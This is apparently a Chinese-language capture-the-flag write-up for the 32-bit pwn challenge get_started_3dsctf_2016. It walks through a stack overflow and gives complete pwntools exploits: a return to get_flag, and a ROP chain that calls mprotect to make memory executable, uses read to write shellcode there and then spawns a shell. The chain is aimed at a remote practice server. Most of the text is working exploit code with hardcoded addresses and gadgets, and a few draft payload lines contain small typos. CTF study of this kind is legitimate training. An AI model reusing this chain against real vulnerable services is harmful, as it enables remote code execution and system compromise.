get_started_3dsctf_2016-Pwn
這個題確實有點坑,在本地能打,在遠程就不能打了,於是我就換了另一種方法來做.
確這個題是沒有動態鏈接庫,且PIE是關的,所以程序的大部分地址已經定死了,幫了大忙了.
第一個本地能打通的思路(遠程打不了)
修改eip跳轉到get_flag函即可,可是直接進行跳轉到該函數,會存在一個過濾,把該地址給過濾掉了,其實往后退幾個指令就行
后面我查了一下國外的資料,他是的方法跟我一樣,就是在buuctf里遠程打不了.
外國大牛博客:http://www.infohelp.org
廢話我就不多說了,下面是本地能打的exp,(前提是你自己創建了一個flag.txt文件)
from pwn import *
context.log_level = 'debug'
elf = ELF('./get_started_3dsctf_2016')
sh = elf.process()
printf_addr = 0x0804F0E0
main = 0x08048A20
get_flag = 0x080489B8
payload_01 = 'A' * 56 + p32(get_flag)
sh.sendline(payload_01)
sh.interactive()
第二個思路:(該方法能打遠程)
修改使用mprotec函數修改內存的權限為可讀可寫可執行,然后在該內存中寫入自己的shellcode,執行該代碼即可.
首先按先說一下mprotect函數:原型如下
int mprotect(void *addr, size_t len, int prot);
addr 內存啟始地址
len 修改內存的長度
prot 內存的權限
要想達到內存可執行的目的,我們看一下哪個內存最好修改,使用edb-debuger查看,或
$ ./ get_started_3dsctf_2016 &
$ cat /proc/[you_pid]/maps 查看內存區域
可以查看到,內存可讀可寫的地址為: 0x80EB000 ,所以我們對該內存進行增加一個權限
如何進行內存的權限修改,思路:
1.棧溢出ret 到 mprotect函數地址,我來解釋一下 call 指令, call = push + jmp
所以直接ret后要留一個返回地址,因為ret 就相當於 jmp 到 mprotect,為了完整的回來,所以在
mprotect地址后在壓入一個返回地址.
2.在32為系統中傳參是使用棧傳參,擇第一個參數先push,第二個再push....
所以基本的payload可以構思如下:
payload = 'A' + 0x38 + p32(mprotect_addr)
payload += p32(ret_addr) + p32(argu1) + p32(argu2) +p32 (argu3)
這里的mprotect_addr就是我們要跳轉到mprotect函數的地址
ret_addr 為 mprotect函數執行完后的地址.
argu1 為mprotect函數的第一個參數 (被修改內存的地址) 設置為 0x0x80EB000 (edb-debuger查看得到)
argu2 為mprotect函數的第二個參數 (被修改內存的大小) 設置為 0x1000 (0x1000通過程序啟動時查看該內存塊的大小的到的)
argu3 為mprotect函數的第三個參數 (被修改內存的權限) 設置為 7 = 4 + 2 +1 (rwx)
為了后續再能使用棧ret,我們的構造一下棧的布局,因為mprotect函數使用到了3個參數,我們就找存在3個連續pop的指令
為啥要找3個pop,也就是在正常情況下,函數傳參是使用push,所以要為了堆棧還原,函數調用結束時就使用pop來保證堆棧
完好.
使用 ROPgadget --binary get_started_3dsctf_2016 --only 'pop|ret' | grep pop
存在pop的一些指令地址,可以發現:
0x0804f460 : pop ebx ; pop esi ; pop ebp ; ret
那我們就得到了該地址.
上面的ret_addr就填寫0x0804f460
而現在的payload就可以為:
payload = 'A' + 0x38 + p32(mprotect_addr)
payload += p32(pop3_addr) + p32(mem_addr) + p32(mem_size) +p32 (mem_proc)
payload += p32(ret_addr2)
ret_addr2 即為執行完mprotect函數即彈出棧后的返回地址.我們也就可以再次利用棧的ret來控制eip,
即為下一個函數read的地址.
如何向內存寫入shellcode
好下面我們就要構思如何將自己的shellcode寫入內存再執行,使用read函數寫入.
read函數原型:
ssize_t read(int fd, void *buf, size_t count);
fd 設為0時就可以從輸入端讀取內容 設為0
buf 設為我們想要執行的內存地址 設為我們已找到的內存地址0x80EB000
size 適當大小就可以 設為0x100就可以了
現在的payload也就可以構造如下
payload = 'A' + 0x38 + p32(mprotect_addr)
payload += p32(pop3_addr) + p32(mem_addr) + p32(mem_size) +p32 (mem_proc)
payload += p32(read_addr) + p32(ret_addr2) + p32(0x0) + p32(mem_addr) +p32 (0x100)
read函數也跟mprotect一樣的例子,就是 call = push + jmp.
read_addr 后面的一個ret_addr2就是執行完read函數后的返回地址.再次使用pop3_ret彈掉3個已用的參數,接着還可
以利用棧ret來控制eip跳轉到mem_addr執行自己的shellcode, payload如下.
payload = 'A' + 0x38 + p32(mprotect_addr)
payload += p32(pop3_addr) + p32(mem_addr) + p32(mem_size) +p32 (mem_proc)
payload += p32(read_addr) + p32(ret_addr2) + p32(0x0) + p32(mem_addr) +p32 (0x100)
payload += p32(mem_addr)
然而在執行read函數時就可以輸入shellcode,即payload2為:
payload_sh = asm(shellcraft.sh(),arch = 'i386', os = 'linux')
最終exp如下:
# _*_ coding:utf-8 _*_
from pwn import *
elf = ELF('./get_started_3dsctf_2016')
sh = elf.process()
sh = remote('node3.buuoj.cn', 28576)
pop3_ret = 0x804951D
'''
pop esi
pop edi
pop ebp
'''
mem_addr = 0x80EB000 #可讀可寫的內存,但不可執行
mem_size = 0x1000 #通過調試出來的值
mem_proc = 0x7 #可代表可讀可寫可執行
mprotect_addr = elf.symbols['mprotect']
read_addr = elf.symbols['read']
'''
為了連續在堆棧中執行,就是用pop3_ret來控制esp,使它往下彈掉已用的3個值.
'''
payload_01 = 'A' * 0x38
payload_01 += p32(mprotect_addr)
payload_01 += p32(pop3_ret) #執行完mprotect的返回地址,使esp往下+12
#mprotect 的三個參數
payload_01 += p32(mem_addr) #mprotect函數參數1 修改的內存地址
payload_01 += p32(mem_size) #mprotect函數參數2 修改的內存大小
payload_01 += p32(mem_proc) #mprotect函數參數3 修改的權限
payload_01 += p32(read_addr) #執行完pop3_ret后彈到read地址
payload_01 += p32(pop3_ret) #執行完read后將返回到pop3_ret指令,又繼續使esp+12
#read 的三個參數
payload_01 += p32(0) #read函數參數1 ,從輸入端讀取
payload_01 += p32(mem_addr) #讀取到的內容復制到指向的內存里
payload_01 += p32(0x100) #讀取大小
payload_01 += p32(mem_addr) #執行完read后ret esi
sh.sendline(payload_01)
payload_sh = asm(shellcraft.sh(),arch = 'i386', os = 'linux')
sh.sendline(payload_sh)
sh.interactive()